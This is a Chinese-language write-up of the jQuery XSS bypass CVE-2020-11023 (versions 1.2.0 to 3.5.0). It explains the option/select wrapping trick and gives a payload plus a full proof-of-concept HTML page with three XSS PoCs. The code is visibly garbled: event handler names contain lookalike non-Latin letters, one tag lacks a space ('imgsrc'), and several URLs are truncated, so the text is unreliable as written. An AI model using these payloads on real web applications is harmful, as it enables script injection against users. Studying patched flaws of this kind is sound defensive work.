漏洞详情

针对CVE-2020-11022漏洞,jQuery Team进行了修复。修复手段为将$.htmlPrefilter()方法替换为标识函数,因此传递的HTML字符串现在不再经过htmlPrefilter函数处理。但是这个修复方法仍有一些手段可以绕过,CVE-2020-11023就是针对CVE-2020-11022的绕过。

漏洞影响

V 1.2.0 <= jquery < V 3.5.0

漏洞详情

绕过使用的是另一个特性,某些特殊的标签在经过html()方法处理时,会由于HTML的特性或浏览器的bug而使得这些标签被移除。

 

option就是这些特殊标签之一,我们知道option 元素通过位于 select 元素内部来构造一个选择列表,但如果没有select元素,option会被移除。为了解决这个bug,如果传入参数的第一个元素为option,jQuery会新增<select multiple='multiple’>和</select>。

 

所以可以构造如下payload:

<option><style></option></select><imgsrc=x οnerrοr=alert(3)></style>

 

经过处理会变为:

<select multiple='multiple'><option><style></option></select><imgsrc=x οnerrοr=alert(3)></style></select>

 

根据HTML从前往后解析的顺序,会先解析一个<select>标签,且<select>不允许将大部分HTML标签包裹其中,导致<style>被忽略,而后识别<img>标签从而xss。

漏洞利用

html页面代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <script src="//cdnjs.cloudflare/ajax/libs/jquery/3.4.1/jquery.js"></script>
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button οnclick="test(1)">Assign to innerHTML</button> <button οnclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x οnerrοr=alert(1)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x οnerrοr=alert(2)>">
</xmp>

<h2>PoC 3</h2>
<button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x οnerrοr=alert(3)></style>
</xmp>

<div id="div"></div>
</body>
</html>

参考:

https://mp.weixin.qq/s/QW5v5d7829m0Pz6AA6_XPQ

 

更多推荐

Jquery XSS漏洞(CVE-2020-11023)